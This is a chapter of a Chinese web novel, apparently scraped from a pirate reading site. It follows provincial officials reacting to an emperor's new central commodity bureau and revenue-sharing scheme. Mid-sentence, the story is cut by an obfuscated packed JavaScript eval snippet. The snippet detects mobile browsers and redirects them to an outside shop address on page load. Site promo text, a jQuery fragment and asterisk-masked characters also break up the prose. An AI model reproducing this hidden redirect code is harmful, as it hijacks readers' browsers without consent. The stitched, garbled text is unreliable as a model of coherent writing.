第九百四十六章 敲山震虎
作品:《随身军火库,从打猎开始踏平洪武乱世》 消息通过驿站、信鸽、以及往来的商队被迅速传递到各个行省的总督和巡抚的案头。
那份记录着金銮殿上惊心动魄交锋的邸报连同后续查抄、抓捕的名单在各地官场掀起了十二级的地震。
湖广武昌府总督衙门。
总督刘于义手捧着那份已经有些卷边的邸报来来**踱步眉间的川字深得几乎能夹死一只蚊子。
书房内几名心腹幕僚和布政使、按察使等地方大员皆是正襟危坐连茶水都不敢碰一下。
“都说说吧怎么看?”
刘于义终于停下脚步将邸报重重地拍在桌上发出“啪”的一声闷响。
一时间满室寂静。
谁敢先开口?
皇帝的手段太过狠辣了!
川陕总督**伦突然发难证据确凿一击致命。
紧接着根本不给南方官场任何反应时间
两江总督魏光正虽未被直接拿下但闭门思过的旨意无异于将他架在火上炙烤威严扫地。
布政使钱成栋是个五十多岁的老官僚为人最是持重他犹豫了半晌才小心翼翼地开口。
“督宪下官以为陛下此举乃是敲山震虎。江南走私之事恐怕只是一个由头……”
“你这不是废话吗?老子能不知道这是敲山震虎?”
刘于义没好气地打断他:“本督问的是这虎敲完了接下来该怎么办!这个新成立的国家战略物资储备与调配总署还有那个超额分成你们到底看明白了没有?”
这才是问题的关键。
在场的官员们你看我我看你脸上都写满了困惑与不安。
“总署由皇帝直管盐、铁、茶、粮、棉、丝但凡能叫得上名号的大宗物资全都要经过它来审批调拨。”
按察使皱着眉头分析道:“这……这等于是在各省头顶上又加了一个太上皇。以后咱们湖广的茶叶、桐油想卖到哪里卖多少自己说了不算都得去金陵请旨。这手伸得也太长了。”
他的话说出了所有人的心声。
权力被收归中央谁都不会高兴。
“可那个超额分成却又着实诱人。”
布政使钱成栋接着说道:“基准之外超出的部分地方留七成!我的天这是何等样的手笔!”
“咱们湖广若是能把洞庭湖周边的良田好好规整一番再将
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
武昌府的冶铁工坊扩建,多出来的税收,怕不是一个小数目!”
“七成,足够我们将几条年久失修的驰道,全都用新式的水泥重铺一遍了!”
一个巴掌,一颗甜枣。
而且这个巴掌打得你无话可说,这颗甜枣又给得你心痒难耐。
刘于义长叹一口气,瘫坐回太师椅上,揉着发胀的太阳穴:“所以,这才是最难办的地方!陛下给了我们一条看似能发财的路,可这条路怎么走,主动权却不在我们手上。总署卡着你的脖子,你若是听话,或许能分口汤喝,若是不听话,恐怕连饭碗都保不住。眼下,江南那边人人自危,北方各省态度不明,我们是该主动靠拢,还是静观其变?”
“静观其变吧。”
一名幕僚低声道,“枪打出头鸟。此时此刻,谁先跳出来,谁就最容易成为下一个目标。不如先看看,这总署到底是个什么章程,那超额分成的细则又是如何。等看明白了,再做决断不迟。”
“也只能如此了。”
刘于义无奈地挥了挥手。
相似的对话,在福建、在两广、在云贵……在每一个没有机会亲历那场大朝会的行省衙门里,不断上演。
无数双眼睛,都投向了新金陵,也投向了北平。
…………
就在帝国各地的封疆大吏们陷入集体观望与迷茫之时。
千里之外的北平行宫,书房内却是一片安然。
秋日的暖阳透过窗棂,照在江澈沉静的侧脸上。
他刚刚读完暗卫司从金陵八百里加急送来的密报。
上面详细记录了金
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080557|182399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
銮殿上的每一句对话,和江源后续的每一个部署。
“好一个国家战略物资储备与调配总署,好一个超额分成,七三开。”
江澈放下密报,脸上露出一丝欣慰的笑意,对侍立一旁的王酒说道。
“一收一放,一压一拉,恩威并施,颇有几分火候了。看来,朕把他放在那个位置上,没有看错人。”
“陛下(指江源)天纵之才,又有太上皇您悉心教导,自然非同凡响。”王酒由衷地赞叹道。
“只是……”
江澈话锋一转,目光再次落到地图上,变得深邃起来。
“这盘棋,他还只走了第一步。他成功地震慑了那些心怀鬼胎的地方势力,也用巨大的利益勾起了他们的欲望。”
“但从欲望到行动,中间还隔着一道鸿沟,名为‘路径’。”
王酒躬身道:“太上皇的意思是,各地的官员虽然心动,却不知道具体该如何做,才能吃到那超额的红利?”
“正是。”
江澈点了点头,“他们习惯了在自己的一亩三分地里刨食,让他们抬头看清整个天下的商路脉络,太难。他们只看到了中央收权,却未必能理解这背后全国一盘棋的深意。”
“若无人为他们指明方向,这股观望的僵局,恐怕会持续很久。”
“届时,新政的锐气一过,阻力反而会更大。”
江澈站起身,走到书案前,亲自铺开一张宣纸。
“源儿搭好了台子,唱响了开场。朕这个做父亲的,总得帮他把这出戏的剧本,写得更清楚些。”
他提起笔,沉吟片刻,笔走龙蛇,在奏疏的抬头,写下了。
《跨区域产业链统筹规划草案》。
王酒凑上前,只见江澈的笔尖在纸上飞舞,一个个具体的构想,跃然纸上。
“……北疆苦寒,然盛产皮**、牛羊,此乃原料之基。然其民风粗犷,不善精织。可设国营皮料初制总厂,由总署调拨,统一收购、分级。再沿运河、铁路南下,运抵中原、江南。”

